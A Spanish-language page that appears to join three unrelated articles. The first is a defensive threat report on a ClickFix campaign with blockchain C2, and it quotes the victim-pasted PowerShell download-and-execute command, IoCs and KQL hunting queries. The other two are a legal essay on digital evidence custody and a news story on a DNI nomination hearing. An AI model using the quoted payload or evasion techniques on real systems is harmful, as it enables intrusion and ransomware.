La secuencia completa recorre seis etapas. Un usuario llega a un sitio comprometido que le muestra una falsa verificación de seguridad; siguiendo las instrucciones, pega y ejecuta un comando de PowerShell que arranca toda la cadena. El payload viaja oculto en una imagen y se ejecuta en memoria sobre un proceso firmado y confiable. El malware pregunta a un contrato en la blockchain de Polygon cuál es su servidor de mando y control vigente, se conecta, persiste y comienza a preparar el terreno para el cifrado.

2. ¿Qué es ClickFix? Mecánica y por qué funciona

ClickFix es una técnica de acceso inicial que invierte la carga de la ejecución: en lugar de que el atacante entregue y detone un binario, es la propia víctima quien ejecuta el código malicioso en su equipo, convencida de que realiza un paso de verificación legítimo. El patrón se popularizó a mediados de 2024 y hoy es uno de los vectores de entrada de mayor crecimiento porque elude, de raíz, las defensas centradas en la descarga de archivos.

El mecanismo se apoya en tres piezas. Primero, un señuelo que imita una pantalla familiar y confiable —un desafío de Cloudflare, una actualización del navegador, un error de reproducción de video—. Segundo, la inyección silenciosa en el portapapeles: mediante JavaScript, la página coloca un comando en el portapapeles del usuario sin que este lo perciba. Tercero, unas instrucciones guiadas que llevan a la víctima a abrir una consola con privilegios y pegar el comando. En la campaña analizada, el señuelo instruye la secuencia Win+X, elegir Terminal, Ctrl+V y Enter.

El comando del portapapeles y el polimorfismo sintáctico

El comando pegado sigue un patrón reconocible: fija el protocolo de seguridad a TLS 1.2 y a continuación invoca iex(irm 'https://<dominio>/dl/p/<UUID>'), es decir, descarga la siguiente etapa del payload (el siguiente “stage”) desde un dominio de C2 y lo ejecuta en memoria. El detalle interesante para la ingeniería de detección es que el kit no emite un único comando, sino cinco variantes sintácticas equivalentes: enumeración explícita del protocolo, forma numérica abreviada (3072 equivale a TLS 1.2), banderas abreviadas (-ubp en lugar de -UseBasicParsing), sintaxis con operador de tubería (por ejemplo, 'https://<dominio>/dl/p/<UUID>' | iex en lugar de iex(irm ...)), y uso de la cadena de texto 'Tls12' en lugar del valor numérico para fijar el protocolo. Todas producen el mismo efecto, pero cambian la huella textual para degradar las reglas basadas en firmas estáticas. A esto se suma la rotación de los dominios de C2 y el uso de rutas con identificadores UUID por víctima.

¿Por qué funciona tan bien? Porque desplaza el punto de decisión desde la máquina hacia la persona y desde el archivo hacia una acción manual. No hay descarga que un navegador pueda bloquear ni adjunto que un gateway pueda detonar en sandbox; hay un ser humano copiando texto. Además, la ejecución interactiva en PowerShell deja una traza forense muy concreta —la clave de registro RunMRU— que, paradójicamente, es también una de las mejores oportunidades de detección.

3. El actor y la estructura de afiliados (JokerStat MaaS)

Detrás de la campaña no hay un actor monolítico, sino una cadena de suministro del cibercrimen. Conviene separar los roles porque cada uno se comercializa por separado y esa separación es, en sí misma, un rasgo defensivamente relevante.

La plataforma: JokerStat como kit MaaS

El elemento articulador de esta operación es JokerStat, un kit de malware como servicio. La evidencia es contundente: los quince dominios de C2 identificados sirven exactamente el mismo clon —una falsa página de acceso a un panel de analítica llamado JokerStat— y ofrecen incluso un canal de soporte por Telegram (@jokerstat_support) para los operadores que adquieren el kit. El propio código delata la marca: la variable de guarda que evita ejecuciones concurrentes de la captura de pantalla se llama __jks_screen_run_ (jks por JokerStat).

Este es el patrón del MaaS moderno, ya documentado en kits como Odyssey: un operador desarrolla y mantiene la plataforma —los paneles, la infraestructura de resolución, las páginas señuelo— y la alquila a afiliados que ejecutan las campañas. La consecuencia operativa es doble. Por un lado, homogeneiza los artefactos: el mismo clon y las mismas rutas aparecen en infraestructura distinta, lo que facilita el pivote y la caza para el defensor. Por el otro, desacopla la atribución: quien despliega el señuelo no es necesariamente quien desarrolla el kit ni quien ejecuta el ransomware final.

La post-explotación: solapamiento con Rapid Brigantine

La actividad posterior a la ejecución refleja de cerca operaciones atribuidas a Rapid Brigantine, un actor también conocido como Vanilla Tempest, DEV-0832, Vice Society y VICE SPIDER, activo desde al menos 2022 y asociado a familias de ransomware como Rhysida, BlackCat, Zeppelin y Quantum Locker. La formulación correcta es solapamiento conductual, no atribución concluyente: los TTP coinciden, pero en un modelo de afiliados el mismo conjunto de técnicas puede ser operado por manos distintas. Mantener esa cautela analítica es parte del rigor del informe, no una debilidad de este.

4. Blockchain en la cadena de ataque: EtherHiding sobre Polygon

Este es el corazón técnico de la operación y lo que la separa del ClickFix genérico. En lugar de codificar el servidor de C2 en el malware —donde sería un indicador fijo y bloqueable— el implante lo consulta en tiempo real a un contrato inteligente en la blockchain de Polygon. La técnica se conoce como EtherHiding.

Qué es EtherHiding y de dónde viene

EtherHiding fue documentada por primera vez por Guardio Labs en octubre de 2023, en el marco de la campaña ClearFake, y desde entonces la han adoptado actores cada vez más capaces, incluido un clúster norcoreano descrito por Google (Mandiant/GTIG) en octubre de 2025. La idea es tomar prestado un concepto del espionaje clásico —el resolutor de punto muerto o dead-drop resolver— y llevarlo a la cadena de bloques: en vez de conectarse directamente al C2, el malware primero consulta una fuente pública y legítima para averiguar cuál es el C2 vigente. Cuando esa fuente es un contrato inteligente, hereda todas las propiedades de la blockchain: es inmutable, está replicada globalmente y cualquiera puede leerla, incluido el malware.

Cómo funciona en esta campaña, paso a paso

El código de resolución implementa una función getServers() que itera una lista de ocho endpoints RPC públicos de Polygon —drpc.org, publicnode, 1rpc.io, QuickNode, OnFinality, Pocket Network, entre otros— y contra cada uno emite una llamada eth_call. Esa llamada invoca el método identificado por el selector 0x3bc5de30 sobre el contrato 0xf5966808a9ECbdb8794F568922809C52b0Fd2446. El contrato devuelve, codificada en su estado, la lista de dominios de C2 activos.

Tres decisiones de diseño merecen atención. La redundancia de endpoints —ocho RPC distintos— garantiza que bloquear uno o dos proveedores no interrumpa la resolución. El uso de eth_call, que es una llamada de solo lectura, significa que no se consume gas ni se genera una transacción: la consulta es gratuita, no deja rastro en el historial de transacciones del contrato y, sobre el cable, es indistinguible de la interacción de cualquier aplicación descentralizada legítima. Y la rotación se vuelve trivial para el atacante: con una sola transacción que reescribe el estado del contrato, cambia el C2 de toda la botnet simultáneamente.

Por qué importa: resiliencia frente a auditabilidad

El C2 on-chain invierte una premisa básica de los takedowns. El comando y control tradicional tiene un centro incautable —un dominio, una IP, un servidor—. Aquí no lo hay: el punto de resolución vive en un contrato inmutable que no admite sinkholing ni puede darse de baja. Para el defensor, esto significa que perseguir los dominios resueltos es una carrera perdida, porque son efímeros y se reemplazan con una transacción.

Este patrón no es teórico ni marginal. En abril de 2026, The DFIR Report documentó una intrusión en la que un malware que resolvía su C2 desde contratos —EtherRAT— derivó, a través de un framework de C2, en el despliegue del ransomware The Gentlemen. La clase de infraestructura que aquí se analiza es la misma que termina en cifrado a escala empresarial.

El arma de doble filo. La misma inmutabilidad que protege al atacante lo expone. El estado del contrato es público, permanente y con marca de tiempo. Leer el historial de escrituras del contrato enumera todos los dominios de C2 que han estado activos y revela el ritmo de operación del actor. La lectura correcta es contraintuitiva: el dominio resuelto es el indicador más débil y la dirección del contrato es el indicador más fuerte y perdurable. Ese es el pivote de detección y atribución que el atacante no puede borrar.

5. Técnicas de evasión

Más allá del C2 en blockchain, la operación acumula varias capas de evasión que conviene entender por separado, porque cada una anula una familia distinta de controles.

Esteganografía en PNG y ejecución en memoria con Donut

El payload no viaja en claro: se oculta dentro de los datos de píxel de una imagen PNG. Un loader .NET reconstruye desde esos píxeles un shellcode empaquetado con Donut —un framework legítimo de red team que convierte ejecutables .NET o PE en shellcode de posición independiente— y lo ejecuta directamente en memoria. En disco solo queda una imagen estadísticamente normal, lo que anula el escaneo estático de archivos.

DLL sideloading sobre binario firmado

El proceso que ejecuta el shellcode es un binario de Microsoft legítimamente firmado, al que se le hace cargar una DLL maliciosa por sideloading. El resultado es que la actividad hereda la reputación del binario firmado: la telemetría deja de decir “binario desconocido” y pasa a decir “carga de módulo en un proceso confiable”, un evento mucho más difícil de priorizar para un EDR basado en reputación.

Exfiltración de pantalla y reinyección dinámica del portapapeles

El kit incluye dos capacidades adicionales. La primera es la exfiltración de capturas de pantalla: usando html2canvas, el implante renderiza la página visible, la serializa como JPEG en base64 y la envía por POST al endpoint /collect/screen del C2, repitiéndolo cada 120 segundos. La segunda es la inyección dinámica del portapapeles: el implante consulta el endpoint /cload —parametrizado con un identificador, el sistema operativo y el hostname de la víctima— y ejecuta como script el contenido devuelto, que a su vez reescribe el portapapeles. Esto permite al operador cambiar el comando ClickFix servido a cada víctima sin tocar la página, de forma segmentada y en caliente.

Polimorfismo, rotación y persistencia resistente al aislamiento

A las anteriores se suman el polimorfismo sintáctico del payload (las cinco variantes ya descritas), la rotación de quince dominios de C2 registrados con poca antelación, y un rasgo especialmente incómodo para la respuesta a incidentes: en al menos un caso documentado, la persistencia siguió relanzándose durante horas después de aislar el host en red. El aislamiento del EDR no cortó el mecanismo de relanzamiento local, lo que obliga a tratar el aislamiento como contención temporal y no como erradicación.

6. Post-explotación y staging pre-ransomware

La fase final es un manual de preparación de impacto. Se observa volcado de credenciales desde el proceso LSASS, enumeración por LDAP de administradores de dominio y de equipos, y auto-replicación del código en directorios con nombres aleatorizados. Ese trío —robo de credenciales, mapeo de Active Directory y propagación— no corresponde a un infostealer que exfiltra y se marcha, sino al reconocimiento de dominio con intención de movimiento lateral y despliegue masivo de cifrado. Es, en términos prácticos, la antesala del ransomware, y es también la última ventana de detección limpia antes del cifrado.

7. Indicadores de compromiso (IoC)

Los siguientes indicadores provienen de la investigación de Unit 42 y de la evidencia analizada. Deben verificarse contra su vigencia antes de operacionalizarlos, dada la rotación descrita; el indicador más perdurable no es ningún dominio, sino la dirección del contrato.

TipoIndicador / valor
Contrato C2 (Polygon)0xf5966808a9ECbdb8794F568922809C52b0Fd2446
Selector de método0x3bc5de30 (invocado vía eth_call)
Dominios de C2morganstat.sbs · massstat.co · stroinnetsata.biz · xverikstat.us · okliimnwq.co (parte de ~15)
Rutas / endpoints/dl/p/<UUID> · /collect/screen · /cload?k=&os=&h=
Artefacto de host__jks_screen_run_ (variable de guarda; marca del kit JokerStat)
Soporte del kitTelegram @jokerstat_support
Payload PowerShelliex(irm 'https://<dominio>/dl/p/<UUID>' -UseBasicParsing)

8. Mapeo a MITRE ATT&CK

TácticaTécnicaAplicación
Initial AccessT1189 Drive-by CompromiseFalsa actualización SocGholish en WordPress comprometido
ExecutionT1204.004 · T1059.001ClickFix → PowerShell ejecutado por la víctima
Defense EvasionT1027.003 SteganographyShellcode Donut oculto en píxeles de un PNG
Defense EvasionT1574.002 DLL Side-LoadingBinario Microsoft firmado carga una DLL maliciosa
Defense EvasionT1055 Process InjectionEjecución del shellcode en memoria
Command & ControlT1102 · T1568 (EtherHiding)Contrato en Polygon como dead-drop resolver + dominios rotatorios
CollectionT1113 Screen CaptureExfiltración de pantalla con html2canvas cada 120 s
Collection / ExecT1115 Clipboard DataInyección y reescritura dinámica del portapapeles
Credential AccessT1003.001 LSASS MemoryVolcado de credenciales del proceso LSASS
DiscoveryT1018 · T1069 (LDAP)Enumeración de administradores de dominio y equipos
Impact (staging)T1486 (preparación)Auto-replicación y preparación del cifrado

9. Recomendaciones de protección

Las contramedidas se ordenan por dominio de control y por su resistencia frente a la evasión específica de esta cadena. El criterio rector es concreto: cada medida ataca un eslabón identificado y se explica por qué funciona, evitando la recomendación genérica.

C1 — Cortar el eslabón humano en el endpoint

Es la medida de mayor impacto y menor fricción, porque toda la cadena depende de que un usuario ejecute PowerShell interactivo. Restringir o auditar el diálogo Ejecutar y el acceso a la Terminal para cuentas estándar mediante GPO; desplegar reglas ASR de Microsoft Defender que bloqueen la creación de procesos hijos desde el navegador y la ejecución de contenido ofuscado; y habilitar el registro de PowerShell (ScriptBlock y Module Logging) junto con Constrained Language Mode. Si la ejecución interactiva está gobernada por política, la cadena se rompe en su primer eslabón.

C2 — Gobernar el egress y vigilar la resolución en blockchain

La lección de EtherHiding es que bloquear dominios es insuficiente por diseño. La contramedida realista tiene dos frentes. En el egress: proxy con inspección y bloqueo de tráfico RPC/Web3 no autorizado hacia nodos de blockchain (Polygon, BSC, Ethereum) desde procesos que no son navegadores ni carteras legítimas; y filtrado de dominios de registro muy reciente (NRD). En inteligencia on-chain: incorporar la dirección del contrato como indicador de vigilancia y leer periódicamente su historial de estado para enumerar los C2 vigentes e históricos, convirtiendo la inmutabilidad del atacante en telemetría propia.

C3 — Endurecer el endpoint contra la evasión en memoria

Frente a la ejecución en memoria y al sideloading sobre binarios firmados, la firma de fichero deja de bastar: el EDR debe apoyarse en protección conductual y detección de inyección en memoria, no solo en reputación. Para el robo de credenciales, activar la protección de LSASS (RunAsPPL / LSA Protection), Credential Guard donde el hardware lo permita, y la regla ASR que bloquea el volcado de credenciales desde LSASS.

C4 — Redefinir la contención en respuesta a incidentes

Dado que la persistencia sobrevivió al aislamiento, la contención de red debe acompañarse de una erradicación local verificada: enumeración de tareas programadas, claves Run/RunOnce, servicios y watchdogs antes de declarar contenido el host. Se asume persistencia redundante y se trata el aislamiento como medida temporal, no como estado final del incidente.

C5 — Cazar la actividad post-explotación como red de seguridad

Si la evasión temprana tuvo éxito, la fase de reconocimiento de dominio es la última oportunidad limpia antes del cifrado. Monitorear accesos anómalos a lsass.exe, ráfagas de consultas LDAP enumerando grupos privilegiados y objetos de tipo equipo, y creación de archivos replicados en directorios aleatorizados. Son señales que la esteganografía y el C2 en blockchain no pueden ocultar.

10. Detección e ingeniería de cacería

La detección de mayor valor es la del acto ClickFix en sí, porque es el eslabón que la víctima no puede ocultar. Windows registra los comandos ejecutados desde el diálogo Ejecutar en la clave RunMRU, lo que permite parsear entradas en busca de uso sospechoso. Las siguientes consultas son puntos de partida —no reglas de producción— para orientar la cacería.

KQL · Cadena parental anómala (Defender / Sentinel)

// PowerShell / mshta / rundll32 lanzados por el navegador o Explorer
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("explorer.exe","chrome.exe","msedge.exe")
| where FileName in~ ("powershell.exe","mshta.exe","rundll32.exe")
| where ProcessCommandLine has_any ("irm","iex","-enc","-ubp","UseBasicParsing","3072")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine

KQL · Egress hacia RPC de blockchain desde procesos no-navegador

// Conexiones a nodos RPC (Polygon/BSC/Ethereum) fuera de navegadores y wallets
DeviceNetworkEvents
| where RemoteUrl has_any ("drpc.org","publicnode.com","1rpc.io","quiknode.pro",
        "onfinality.io","pocket.network","rpc.polygon")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteUrl

KQL · Acceso sospechoso a LSASS

DeviceEvents
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsMpEng.exe","wmiprvse.exe")
| summarize count() by DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath

Como complemento, tres señales de alto rendimiento cierran el espectro: binarios firmados de Microsoft que cargan DLLs desde rutas de usuario no estándar (%APPDATA%, %TEMP%, directorios aleatorizados); tráfico saliente periódico y regular hacia el endpoint /collect/screen o patrones POST con cuerpos JPEG en base64; y el monitoreo directo, en un explorador de bloques, de la dirección del contrato para alertar sobre cada nueva escritura de estado —es decir, sobre cada rotación de C2 en el momento en que ocurre.

11. Conclusión

Esta operación no destaca por inventar, sino por integrar con criterio de producto. Ensambla ingeniería social de portapapeles, un kit MaaS con paneles y soporte, evasión en memoria y un C2 en blockchain, y lo orquesta hacia un único fin: el cifrado. Su significado para la postura de riesgo institucional es que consolida un patrón donde la entrega es barata y comoditizada, la evasión es de grado ofensivo y la infraestructura de control resiste los takedowns. Una defensa organizada por firmas y listas de bloqueo llega, estructuralmente, tarde.

La respuesta correcta no es acumular herramientas, sino reordenar los controles alrededor de tres verdades que esta cadena deja expuestas. El eslabón más frágil del atacante es la ejecución humana del comando, y ahí conviene concentrar la fricción. La resolución del C2 vive fuera de la infraestructura incautable, de modo que el egress y la lectura del propio contrato se convierten en el punto de control real. Y la contención por aislamiento es una ilusión si no se acompaña de erradicación local verificada. El defensor que internalice esas tres ideas no necesita anticipar cada variante futura: le basta con cerrar las condiciones que todas comparten. La misma inmutabilidad que hace invencible el C2 del atacante es, leída al revés, el registro público que lo delata.

Fuentes y referencias

  1. Unit 42, Palo Alto Networks — ClickFix campaign utilizing MaaS kit with Blockchain C2 (Timely Threat Intelligence, 2026-07-02).
  2. Unit 42, Palo Alto Networks — Fix the Click: Preventing the ClickFix Attack Vector.
  3. Unit 42, Palo Alto Networks — The ClickFix Factory: First Exposure of IUAM ClickFix Generator (modelo MaaS/afiliados; Odyssey).
  4. Unit 42, Palo Alto Networks — 2026 Global Incident Response Report (ClickFix, ejecución en memoria, cadena hacia ransomware).
  5. Guardio Labs — EtherHiding: Hiding Web2 Malicious Code in Web3 Smart Contracts (divulgación original, 2023).
  6. Google Threat Intelligence Group / Mandiant — DPRK Adopts EtherHiding (UNC5342, dead-drop resolver, oct. 2025).
  7. The DFIR Report — EtherRAT → TukTuk C2 → The Gentlemen ransomware (C2 on-chain con desenlace en ransomware, abr. 2026).
  8. BlueVoyant — Lorem Ipsum, ClickFix Pivot & Rapid Brigantine. Sekoia.io — Unveiling ErrTraffic (ClickFix + EtherHiding MaaS).
  9. Huntress — ClickFix Gets Creative: Malware Buried in Images. Silent Push — Unmasking SocGholish and its operator TA569.
  10. MITRE ATT&CK — matriz empresarial de tácticas y técnicas.

Autor: Nahum Deavila. Fuente primaria: Unit 42, Palo Alto Networks.

¿Es válida la evidencia digital que recoge un fiscal sin herramienta certificada? – CYBERDEFENSA.MX

Por Luisa Fernanda Barragán Ávila — Abogada · Magíster en Derecho Digital

Hace algunos meses acompañé un proceso penal en el que la defensa logró excluir un dictamen pericial digital que, técnicamente, era impecable. El análisis era correcto. Las conclusiones eran válidas. Pero la forma en que se recolectó la información en campo dejó una grieta que cualquier abogado con experiencia podía explotar.

El juez lo sabía. La fiscalía lo sabía. Y, tristemente, lo supieron demasiado tarde.

Ese proceso me llevó a reflexionar sobre una pregunta que debería ser obligatoria en cualquier curso de investigación criminal, pero que rara vez se hace con la profundidad que merece: ¿puede una evidencia digital ser técnicamente correcta y jurídicamente inadmisible al mismo tiempo?

La respuesta es sí. Y con más frecuencia de lo que los equipos de investigación quisieran admitir.

La cadena de custodia digital no empieza en el laboratorio

Uno de los errores más comunes que observo en la práctica —y lo digo con el respeto que merecen los investigadores que trabajan bajo presión y con recursos limitados— es creer que la cadena de custodia digital empieza cuando la evidencia llega al laboratorio forense.

No. Empieza en el momento exacto en que se toca por primera vez el dispositivo, el sistema o, en el caso de la telefonía móvil, en el momento en que se hace el primer registro de actividad en campo.

El artículo 275 del Código de Procedimiento Penal colombiano (Ley 906 de 2004) reconoce los mensajes de datos como elemento material probatorio. Pero ese reconocimiento no opera en el vacío: la evidencia electrónica tiene que haber sido recolectada, etiquetada, preservada y transportada siguiendo procedimientos que garanticen que lo que se presenta ante el juez es lo mismo, sin alteración, que lo que existía en el momento de los hechos.

Ese principio tiene nombre en el mundo del derecho anglosajón —del que bebemos mucho en el sistema acusatorio— y en Colombia lo aplicamos a través de lo que llamamos el principio de mismidad.

El principio de mismidad: el argumento que la defensa siempre intentará tumbar

El principio de mismidad de la evidencia exige que el elemento probatorio presentado al juez sea idéntico al que se recolectó en la escena. Cualquier diferencia, por mínima que sea, puede ser utilizada por la defensa para solicitar la exclusión de la prueba por violación al debido proceso probatorio.

¿Cómo se garantiza la mismidad en evidencia digital? A través de los valores hash criptográficos.

Un hash es una huella digital matemática de un archivo o conjunto de datos. El estándar más ampliamente utilizado en forensia digital es el SHA-256. Funciona así: en el momento de la recolección, el sistema genera automáticamente un código alfanumérico único para los datos capturados. Si un solo bit de esa información cambia —por error, por manipulación o por cualquier otra causa— el hash cambia completamente. Y si el hash que se presenta en el juicio no coincide con el hash que se registró en campo, la defensa tiene un argumento sólido para cuestionar la integridad de la evidencia.

Aquí está el problema práctico: si la herramienta con la que se recolectó la información no genera hash automático en el momento de la captura, la cadena de custodia tiene un hueco que ningún informe pericial posterior puede cerrar.

¿Qué dice la norma internacional?

La comunidad internacional de forensia digital no dejó esto al azar. La norma ISO/IEC 27037:2012 —que en Colombia se aplica como referente técnico en procesos de investigación criminal con componente digital— establece directrices específicas para la identificación, recolección, adquisición y preservación de evidencia digital. Su punto de partida es claro: la evidencia digital debe ser manejada de manera que se preserve su integridad, su autenticidad y su confiabilidad desde el momento de su identificación hasta su presentación ante la autoridad competente.

Complementariamente, la RFC 3227 —guía de mejores prácticas del IETF para la recolección y archivo de evidencia digital— establece el orden de volatilidad que debe guiar la recolección y enfatiza que el procedimiento debe ser documentado de forma que pueda ser auditado y reproducido.

Ninguna de estas normas es de cumplimiento obligatorio en Colombia mediante ley. Pero en el escenario del contrainterrogatorio, cuando un experto de la defensa pregunta al investigador de campo “¿bajo qué norma técnica fue recolectada esta información?”, la incapacidad de responder con precisión siembra duda. Y en el sistema acusatorio, la duda trabaja para la defensa.

El escenario de la telefonía móvil: un caso especialmente crítico

Quiero detenerme en el contexto específico de la investigación basada en telefonía celular, porque es donde he visto las inconsistencias más frecuentes y las más costosas en términos procesales.

Cuando un fiscal necesita demostrar que una persona estuvo en determinado lugar a determinada hora, uno de los caminos más utilizados es el análisis de los Registros Detallados de Llamadas (CDRs) suministrados por los operadores celulares. Pero ese análisis requiere un paso previo que muchos dan por sentado sin ejecutarlo correctamente: el inventario forense de las estaciones base (BTS) que dan cobertura en el área de los hechos.

¿Por qué es crítico ese inventario? Porque los CDRs no identifican una ubicación geográfica exacta por sí solos. Identifican la antena a la que se conectó el dispositivo. Si no existe un inventario riguroso y documentado de qué antenas estaban activas, en qué frecuencias y bajo qué tecnología (2G, 3G, 4G, 5G) en el momento de los hechos, el análisis de los CDRs pierde precisión y, peor aún, pierde credibilidad frente al juez.

Ahora bien: ¿cómo se hace ese inventario correctamente?

En primer lugar, debe hacerse en el sitio, porque las condiciones de cobertura varían según el entorno físico. No es lo mismo hacer el inventario desde una oficina con la base de datos de un operador que hacerlo en campo con dispositivos que recreen las condiciones reales de conectividad del momento de los hechos.

En segundo lugar, los datos del inventario deben registrarse con todos los parámetros técnicos identificadores: MCC, MNC, LAC/TAC, CID, NODE, banda de frecuencia, tipo de tecnología, coordenadas geográficas, operador, entre otros según la tecnología (2G, 3G, 4G y 5G). La omisión de cualquiera de estos parámetros puede ser utilizada para cuestionar la correspondencia entre las antenas inventariadas y las antenas que aparecen en los CDRs.

En tercer lugar —y aquí regresamos al punto del principio de mismidad— esa información debe quedar sellada con un hash criptográfico desde el momento de su captura, de forma que no sea posible modificarla posteriormente sin que el sistema lo detecte.

La pregunta que el juez hará y que la investigación debe poder responder

En mi experiencia acompañando procesos, hay una pregunta que aparece con una frecuencia inquietante en las audiencias preparatorias y de juicio oral cuando se discute evidencia de telefonía: “¿Cómo garantiza usted que la información que presenta hoy es exactamente la misma que fue recolectada en campo, sin modificación alguna?”

Si el investigador puede responder: “Señoría, el sistema generó un hash SHA-256 en el momento de la captura. El hash del archivo original y el hash del archivo que estoy presentando son idénticos, y así consta en el informe de campo”, la cadena de custodia digital está blindada.

Si la respuesta es: “Los datos fueron recolectados manualmente y exportados a una hoja de cálculo”, la puerta está abierta.

La diferencia entre una respuesta y otra no depende solo del investigador. Depende de la herramienta que utiliza.

Una reflexión final sobre la responsabilidad institucional

Esta no es solo una discusión técnica. Es una discusión sobre la efectividad del sistema de justicia.

Cuando una evidencia legítima es excluida por un defecto de procedimiento en la recolección, no pierde solo la fiscalía. Pierde la víctima, que ve cómo un proceso válido se cae por razones que poco tienen que ver con la verdad de los hechos. Y pierde la institución, que invirtió tiempo, recursos humanos y presupuesto en una investigación que no pudo llegar a buen término.

Las entidades de policía judicial y las fiscalías tienen la responsabilidad —y en muchos casos ya tienen la conciencia— de dotar a sus investigadores de herramientas que no solo funcionen, sino que funcionen conforme a los estándares que el proceso penal exige. Eso incluye la generación automática de hashes, la documentación estructurada de parámetros técnicos, la producción del informe de campo en formatos reconocidos por el sistema (como el FPJ-11), y la trazabilidad completa desde el momento de la captura.

No es un lujo investigativo. Es el piso mínimo de una investigación que puede sostenerse ante un juez.

La conversación sobre estándares en forensia de campo es urgente y debe darse entre quienes investigan, quienes acusan, quienes defienden y quienes juzgan.

Luisa Fernanda Barragán Ávila
Abogada · Magíster en Derecho Digital

fuente: CIBER-TEC

Jay Clayton presionado sobre las elecciones de 2020 en la audiencia de nominación del DNI

Los senadores demócratas presionaron el miércoles a la elección del presidente Donald Trump para director de inteligencia nacional sobre cuestiones de seguridad e integridad electoral, pero no abandonaron su audiencia de nominación satisfechos con las respuestas.

Como es típico entre los nominados de la administración Trump, Jay Clayton no respondió definitivamente en su audiencia de confirmación del Comité de Inteligencia del Senado si Joe Biden ganó las elecciones presidenciales de 2020, y solo dijo que estaba “certificado”, aunque sostuvo que no era un “negador de las elecciones”.

Dijo que las responsabilidades de la Oficina del Director de Inteligencia Nacional estaban «principalmente» fuera de Estados Unidos. Pero afirmó diversos grados de ignorancia acerca de la presencia física de su predecesora, Tulsi Gabbard, en una redada del FBI en una oficina electoral de Georgia en enero, y no quiso comentar sobre su idoneidad.

Los senadores demócratas también se sintieron frustrados al tratar de precisar a Clayton, el fiscal estadounidense para el Distrito Sur de Nueva York que se desempeñó como jefe de la Comisión de Bolsa y Valores durante el primer mandato de Trump, sobre comentarios sobre las boletas por correo y los resultados de las elecciones primarias de California mes pasado.

Varios senadores, incluidos Mark Warner, demócrata por Virginia, Angus King, I-Maine y Mark Kelly, demócrata por Arizona, intentaron que Clayton dijera si Biden ganó las elecciones de 2020. El intercambio final se produjo con Jon Ossoff, demócrata por Georgia.

Clayton protestó diciendo que ya había respondido. «Creo que he respondido la pregunta», dijo. «Podemos seguir haciendo esto».

Ossoff no estuvo de acuerdo y le dijo: «Bueno, vamos a seguir haciéndolo porque no estás siendo honesto ni directo con el comité».

«¿No es humillante no poder responder a esta pregunta?» preguntó. «¿Tener que complacer los delirios del presidente? Sabemos, todos en esta sala saben la verdadera respuesta a esa pregunta. ¿Por qué no pueden darla?».

Anteriormente, Clayton había dicho: «No soy un negacionista de las elecciones», pero repetidamente no respondió «sí» o «no» sobre si Biden ganó en 2020.

Eso es importante debido al papel del DNI, dijo Kelly, y era preocupante que Clayton intentara evitar molestar a Trump, quien ha sostenido, a pesar de todas las pruebas, que perdió las elecciones de 2020.

«No se trata de suavizar las cosas cuando la verdad es desagradable», dijo Kelly. «Se trata de entregar información».

Clayton habló más detalladamente en la audiencia previa del papel del DNI en la seguridad electoral respuestas escritas.

«Entiendo que el DNI, como jefe de la Comunidad de Inteligencia, tiene una autoridad legal sustancial para abordar las amenazas de inteligencia nacional a las elecciones estadounidenses», dijo. «En particular, el Director es responsable de la integración de la inteligencia nacional, que puede incluir amenazas de inteligencia extranjera a la actividad electoral de EE. UU. También entiendo que los elementos de la Comunidad de Inteligencia están autorizados a cooperar y proporcionar inteligencia y apoyo técnico apropiados a las agencias encargadas de hacer cumplir la ley y que, como jefe de la Comunidad de Inteligencia, el DNI supervisa esas actividades».

Una entrevista de CNBC el mes pasado inspiró algunas de las preguntas de los demócratas. Clayton dijo en respuesta a preguntas sobre las primarias de California que «en lo que respecta a la integridad, estamos haciendo un trabajo absolutamente terrible. Y el pueblo estadounidense tiene razón al cuestionarlo».

Dijo que las boletas por correo presentan una “oportunidad para el fraude”, a pesar de que los estudios muestran tasas excepcionalmente bajas de fraude al utilizar ese método, y dijo que “el uso de las boletas por correo por un grupo y no por otro… honesta y deshonestamente” era una “pregunta que ahora todos se hacen”.

El senador Ron Wyden, demócrata por Oregón, le preguntó a qué grupo se refería Clayton.

“”Me gustaría ver de dónde sacas esas citas. He sido muy cuidadoso con mis comentarios sobre esto», respondió Clayton. «Me gustaría ver el pasaje completo».

En su cuestionario, cuando se le preguntó si “sería inapropiado que un DNI comentara públicamente sobre afirmaciones sin fundamento sobre el voto por correo y el fraude electoral”, Clayton respondió que “si se confirma como DNI, cualquier declaración que haga al público, incluso sobre las elecciones, será informada por inteligencia nacional objetiva y oportuna”.

Ossoff también tuvo un tenso intercambio con Clayton cuando le preguntó sobre la aparición de Gabbard en la redada de la oficina del condado de Fulton. Gabbard ha dicho que estuvo allí porque Trump le pidió que fueraen lo que posteriormente se convirtió en una aparición muy publicitada debido a las preguntas sobre qué haría el DNI en una redada policial.

«Me lo avisaste ayer», dijo Clayton.

Ossoff respondió con escepticismo: “¿La primera vez que se enteró de que el director Gabbard estuvo presente en esa redada fue ayer en mi oficina?”

Clayton dijo: «Fue la primera vez que, según recuerdo, pensé en ello recientemente».

«¿Qué?» Ossoff respondió.

Warner, el principal demócrata del comité, le dijo a Clayton: «Confío en ti», pero «pone a prueba la credulidad» el hecho de que no estaba al tanto de que Gabbard estaba en la redada.

«Para ser claros, el papel de la ODNI es principalmente fuera de Estados Unidos», dijo Clayton.

En otros temas, en sus comentarios de apertura, Clayton promocionó su trabajo de la SEC en materia de ciberseguridad. En su cuestionario dijo que trabajaría para facilitar el intercambio de información sobre amenazas cibernéticas desde su oficina.

Le dijo a la senadora Kirsten Gillibrand, DN.Y., que evaluaría si el DNI debería dedicar más recursos a la ciberseguridad, dado que los expertos cibernéticos del gobierno federal han sido expulsados ​​desde que Trump regresó al cargo. Muchos republicanos están presionando para reducir aún más el tamaño de la oficina de Clayton, sosteniendo que se ha hinchado más allá de las intenciones originales del Congreso como organismo coordinador.

Dijo que apoyaba la renovación de la Sección 702 de la Ley de Vigilancia de Inteligencia Extranjera, que otorga al poder ejecutivo poderes de espionaje controvertidos que el Congreso recientemente permitió que expiraran.

